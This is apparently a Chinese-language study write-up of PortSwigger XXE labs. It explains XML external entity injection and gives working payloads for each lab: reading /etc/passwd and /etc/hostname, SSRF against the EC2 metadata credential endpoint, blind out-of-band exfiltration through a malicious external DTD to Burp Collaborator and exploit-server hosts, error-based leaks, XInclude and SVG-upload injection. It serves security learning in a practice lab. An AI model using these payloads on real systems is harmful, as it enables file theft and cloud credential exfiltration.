PortSwigger-02-XXE
一:漏洞原理
1、XXE
-
XXE全称xml外部实体注入
-
XML:是一种用于标记电子文件使其具有结构性的标记语言,提供统一的方法来描述和交换独立于应用程序或者供应商的结构化数据,它可以用来标记数据,定义数据类型、是一种允许用户对自己的标记语言进行定义的元语言
-
DTD:是一种描述XML数据结构的规则,可以包含实体定义,这些实体允许XML数据引入外部资源,如果文档中应用了DTD,解析器会尝试加载和解析DTD文件
-
参考链接:https://blog.csdn.net/fuhanghang/article/details/123272261
2、XXE原理
XML外部实体注入是一种web安全漏洞,攻击者可以通过引入自定义的实体来强制服务器加载外部资源。它通常允许攻击者查看应用程序服务器文件系统上的文件,并于应用程序本身可以访问的任何后端或者外部数据进行交互。XXE漏洞触发点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可以上传恶意的xml文件读取文件或者获取shell.
3、XXE特征
1、url是 .ashx后缀
2、响应体是xml
3、看请求包中有一个Accept:看看其中有没有xml
二:PortSwigger靶场
靶场复现参考链接:https://blog.csdn.net/qq_53079406/article/details/128642758
1、利用外部实体检索文件
(1)原理:构造恶意的xml数据,引入外部实体,读取服务器的文件
(2)漏洞点
bp抓包分析:发现提交了xml数据:
- <?xml version="1.0" encoding="UTF-8"?> 声明这是一个XML文档
- 表示是根节点
- 1 子节点:表示产品的标识号
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>1</productId><storeId>1</storeId>
</stockCheck>
构造payload读取文件
- 外部实体定义 <!DOCTYPE>表示文档的类型
- <!ENTITY xxe SYSTEM "file:///etc/passwd"> 定义一个外部的实体
- xxe是实体的名称、SYSTEM:引入外部的资源 、file:///etc/passwd :表示文件的路径,表示需要读取的文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>
2、利用XXE执行SSRF攻击
(1)原理:引入外部实体恶意的xml代码读取远程服务器的敏感数据,使用<!ENTITY>定义外部实体,然后通过SYSTEM指向EC2元数据终端点,&xxe;就是将恶意的实体插入的XML数据的字段中
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>
成功读取到了敏感数据
3、具有带外交互的盲XXE
(1)原理:利用外带技术,也就是bp的Collaborator可以捕获请求和响应包
(2)和上述的情况有点类型,但是没有回显,需要利用外带技术,也就是bp的Collaborator,参考链接:
https://blog.csdn.net/wang_624/article/details/123172519
和问题2的情况有点类似,直接构造payload(其中http://8hqnvlwfu9tl88940w80p9w1zs5it7.burpcollaborator.net是bp生成的)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "http://8hqnvlwfu9tl88940w80p9w1zs5it7.burpcollaborator.net">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>
成功外带看到相应包
4、通过 XML 参数实体进行带外交互的盲 XXE
(1)尝试使用例三中的payload进行测试,回显"Entities are not allowed for security reasons",可能是增加了一些过滤限制
(2)使用参数实体进行绕过:
- 常规实体XML在正文中引用,而参数实体在只能在DTD内部用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://389f7odkpxhdbcf42849rsqcx33vrk.burpcollaborator.net">%xxe;
]>
<stockCheck><productId>1</productId><storeId>1</storeId>
</stockCheck>
5、利用盲XEE使用外部恶意DTD泄露数据
(1)目标:
- 泄露服务器上的/etc/hostname文件的内容,使用Burp Collaborator 或实验室提供的漏洞利用服务器接收泄露的数据。
(2)实现原理 - 构造一个恶意的DTD文件:他会加载服务器的指定文件并通过外部网络发送到攻击者的服务器中(通过网络请求将数据外带)
- 然后xxe注入访问我们上传的DTD文件让其执行然后将敏感数据带出到bp的服务器中
(1)首先还是盲XML,需要利用外带技术 - <!ENTITY % file SYSTEM "file:///etc/hostname"> :定义一个参数实体file,SYSTEM读取指定文件内容
- 定义eval参数实体,
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://l5rx46a2mfev8ucmzq1roanuul0eo3.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;
https://exploit-0a5a0085035d308680ed8eba01a8007d.exploit-server.net/exploit
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a5a0085035d308680ed8eba01a8007d.exploit-server.net/exploit"> %xxe;]>
成功外带拿到信息
6、利用盲XXE通过错误消息检索数据
原理:将恶意的DTD文件托管到VPS上,然后在xxe注入引入这个文件的链接来执行DTD中的代码
(1)请使用外部 DTD 触发显示文件内容的错误消息。/etc/passwd
DTD文件是一种定义XML文档结构的文件,主要用于执行XML文档的合法元素以及属性、子元素的排列顺序等规则
(2)上传恶意的DTD文件,然后获取恶意的DTD文件的url位置
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
(3)xxe注入外带信息(参数实体)
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ac3001e03dad7988092c570014c00a2.exploit-server.net/exploit"> %xxe;]>
7、利用XInclude检索文件
- 相比于前面的实验,我们无法控制整个XML文档,因此无法定义DTD来启动经典的XXE攻击
- 但是可以使用
XInclude/etc/passwd
语句来注入
XInclude是一种xml技术,用于在一个XML文档中动态插入其他XML文档或者文本内容。XInclude的工作机制是基于XML解析器的扩展支持,通过xi:include标签、可以引入外部数据并将其内容直接嵌入到XML文档中
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
注入测试
8、通过图像文件上传利用XXE
(1)原理:一些应用程序允许用户上传图像、并在上传之后处理或者验证这些图像。如果支持上传SVG图像但是服务端没有对xml数据进行严格的校验的化,那么攻击者就可以提交恶意的SVG图像,从而达到XXE漏洞的隐藏攻击面
(2)创建 1.svg 其中内容包括如下
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
(3)在博客文章上发表评论,并将此图像作为头像上传,然后访问该图片就可以执行xml代码